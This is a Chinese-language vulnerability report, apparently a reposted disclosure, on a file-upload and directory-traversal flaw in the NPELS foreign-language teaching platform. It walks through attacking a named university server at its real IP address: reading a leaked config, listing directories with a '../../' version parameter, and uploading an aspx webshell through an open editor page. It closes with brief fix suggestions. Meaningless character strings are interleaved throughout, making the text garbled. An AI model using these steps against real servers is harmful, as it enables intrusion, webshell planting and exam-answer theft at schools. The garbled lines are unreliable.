新理念外语网络教学平台文件上传漏洞

admin

好多大学都在用这个教学平台，这个漏洞会导致直接拿到试题答案，甚至作为跳板继续渗透进入学校其他服务器中

详细说明：

: H; u+ f2 o, Y* Y- y9 L' a$ l7 X3 T以南开大学的为例:
http://222.30.60.3/NPELS
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
% I* y- R7 j/ d; }<setting name="Update_CommonSvr_CommonService" serializeAs="String">
<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
- i& c  q7 S0 W) v1 O+ A</setting>
! g+ `9 H/ y: n- @* l及版本号
7 `. \/ ]9 |( b* H" C<add key="TVersion" value="1, 0, 0, 2187">
) `6 {- P. _9 B4 a- s</add>
% f4 t% [! @, I$ Q+ {4 ]" B直接访问
http://222.30.60.3/NPELS/CommonService.asmx
9 k1 z5 V, ~2 W( D$ m使用GetTestClientFileList操作，直接 HTTP GET 列目录：
http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
进一步列目录（返回的网页很大，可以直接 wget 下来）
http://222.30.60.3/NPELS/CommonS ... List?version=../../
! w5 }# j' m7 L
发现
http://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
可以上传，直接上传aspx木马即可，不需要改后缀名或者文件头
% V, ?1 ]$ I( G上传后继续列目录找到木马地址直接访问即可

OOXX
4 f) L) V  p# F& X* E% B( Z
Google "新理念外语网络教学平台" 测试了几个其他的站，都有类似的列目录上传方法
漏洞证明：
; q1 ]% \1 R! z! W" r8 G6 S
6 _: [& s$ C' i$ r6 P! h1 ~, ^- A列目录：
http://222.30.60.3/NPELS/CommonS ... List?version=../../
3 ^8 X0 ~1 x' c文件上传：
http://222.30.60.3/npelsv/editor/editor.htm
4 R" s! a9 t$ A2 i
' A2 u5 l) R9 ^! Q上传木马：
+ c; V! Q6 j8 Ehttp://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
6 c. w/ W& O4 E/ T
修复方案：
好像考试系统必须使用 CommonService.asmx
& @5 H; o# C7 ~1 _5 A; n最好配置文件加密或者用别的方式不让它泄露出来
" P3 k* X# e, V, p0 X并且检查或删除各上传入口，像 http://222.30.60.3/NPELS/Upload.aspx 一样​
' v# D2 [, I0 {  \; C7 J" x